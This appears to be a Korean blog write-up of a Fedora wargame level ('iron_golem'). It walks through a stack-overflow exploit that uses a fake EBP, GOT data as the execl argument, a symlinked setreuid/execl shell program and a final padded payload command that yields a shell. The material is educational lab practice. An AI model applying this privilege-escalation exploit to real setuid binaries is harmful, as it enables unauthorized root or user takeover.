                  CONTENTS, ALLOC, LOAD, DATA

 22 .bss          00000004  08049640  08049640  00000640  2**2

                  ALLOC

 23 .comment      00000126  00000000  00000000  00000640  2**0

                  CONTENTS, READONLY

 


objdump로 GOT의 주소를 확인해봅니다.


그리고 gdb로 그 주소를 확인해봅시다.


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) x/10x 0x8049618

0x8049618 <_GLOBAL_OFFSET_TABLE_>:      0x0804954c      0x00000000      0x00000000      0x080482ee

0x8049628 <_GLOBAL_OFFSET_TABLE_+16>:   0x080482fe      0x0804830e      0x0804831e      0x00000000

0x8049638 <__dso_handle>:       0x00000000      0x08049544 


그럼, 보시다시피 0x8049618부터 첫번째 인자라고 가정할때,


0x084954C가 첫번째 인자인 파일명이 되고,

세번째인자가 NULL이 되므로, argument로 사용하기에 완벽합니다.


그러므로, 저 argment를 사용하기위해 fake ebp를 써야하는데,

왜 fake ebp를 쓰냐면,

argument를 불러올때 ebp를 기준으로 불러오게됩니다.

ebp+8이 첫 argument이고, ebp+C가 두번째 argument이고, 이런식입니다.


그러므로, ebp를 0x8049618 - 8 = 0x8049610 으로 잡아둬야겠죠.


그리고 정확한 파일명을 알아야하기때문에, 0x804954C에 무엇이 들어있는지 보겠습니다.


(gdb) x/4x 0x804954C

0x804954c <_DYNAMIC>:   0x00000001      0x00000024      0x0000000c      0x080482c0


little endian 이므로, 읽으면, 0x01 0x00 0x00 0x00 0x24 이런식이 됩니다.


그렇다면, string은 마지막이 0x00(NULL) 이므로, string으로 본다면 "\x01" 이 되겠네요.

그렇다면 파일명은 "\x01"이 됩니다.


그리고 나중에 사용할 파일 shell.c를 만듭니다.


 int main()

{

        setreuid(geteuid(),geteuid());

        execl("/bin/sh","",0);

}


shell.c


shell.c 는 shell로 컴파일을 해두고


execl로 리턴시켜서 쉘을 획득해야하기 때문에, execl의 위치와 필요한 address를 가져오겠습니다.


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) b main

Breakpoint 1 at 0x80483d9

(gdb) r

Starting program: /home/gate/iron_golem

(no debugging symbols found)...(no debugging symbols found)...

Breakpoint 1, 0x080483d9 in main ()

(gdb) disas execl

Dump of assembler code for function execl:

0x007a5720 <execl+0>:   push   %ebp

0x007a5721 <execl+1>:   mov    %esp,%ebp

0x007a5723 <execl+3>:   lea    0x10(%ebp),%ecx

0x007a5726 <execl+6>:   push   %edi

0x007a5727 <execl+7>:   push   %esi

0x007a5728 <execl+8>:   push   %ebx

0x007a5729 <execl+9>:   sub    $0x1038,%esp

0x007a572f <execl+15>:  mov    0xc(%ebp),%eax



여기서 주의해야할점은 0x007a5720의 주소를 기억해둬야하는것이 아니라,

0x007a5723(execl+3)의 주소를 기억해둬야합니다.


왜냐하면 fake ebp를 사용해서 ebp를 강제로 설정할것인데,

첫 두줄은 ebp와 esp를 다시 세팅하는 장면이기때문입니다.


그러므로 리턴할 주소는 0x007a5723이 됩니다.


이제 마지막으로 심볼릭 링크만 걸면 끝납니다.


[gate@Fedora_1stFloor ~]$ ln -s shell `perl -e 'print "\x01"'`

[gate@Fedora_1stFloor ~]$ ls

?  iron_golem  iron_golem.c  shell  shell.c 


그리고 마지막으로 공격을 하는일만 남았네요.


근데 몇바이트만큼 채워야 하는지 알아야합니다.

fuzzing 을 해서 알아내는 방법도 있지만, 단순히 디버깅을 이용해 알아보겠습니다.


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) disas main

Dump of assembler code for function main:

0x080483d0 <main+0>:    push   %ebp

0x080483d1 <main+1>:    mov    %esp,%ebp

0x080483d3 <main+3>:    sub    $0x108,%esp

0x080483d9 <main+9>:    and    $0xfffffff0,%esp

0x080483dc <main+12>:   mov    $0x0,%eax

0x080483e1 <main+17>:   add    $0xf,%eax

0x080483e4 <main+20>:   add    $0xf,%eax

 ......


메인을 디스어셈 해보니, 로컬변수를 위해서 0x108 만큼 할당된것을 알수있습니다.

사실, 이 방법은 정확한 방법은 아니지만,

이번 문제에서는 로컬변수가 하나밖에 없기때문에, 0x108이 buf의 크기라고 보셔도 무방합니다.


0x108은 10진법으로 264개이기때문에, buf를 위해 264개의 문자를 채우면 됩니다.


즉 공격코드는

./iron_golem ["A"*264][GOT address - 8][execl address + 3]

이 되겠네요.


[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz

bash-3.00$ my-pass

euid = 501

blood on the fedora 


posted by tunz
  • aex 2013.09.19 22:55

    혹시 해킹공부랑 시스템 공부하신지는 어느 정도 되셨는지 여쭤봐도 될련지요ㅎ?

    • tunz 2013.09.20 14:48 신고

      웹해킹은 작년 9월정도부터 본격적으로 시작했었고,
      시스템해킹은 찾아보니까 작년 11~12월 정도부터 시작한것같네요
      확실히 시스템해킹에 본격적으로 빠진건 올해초라고 기억하고있습니다 ㅎㅎㅎ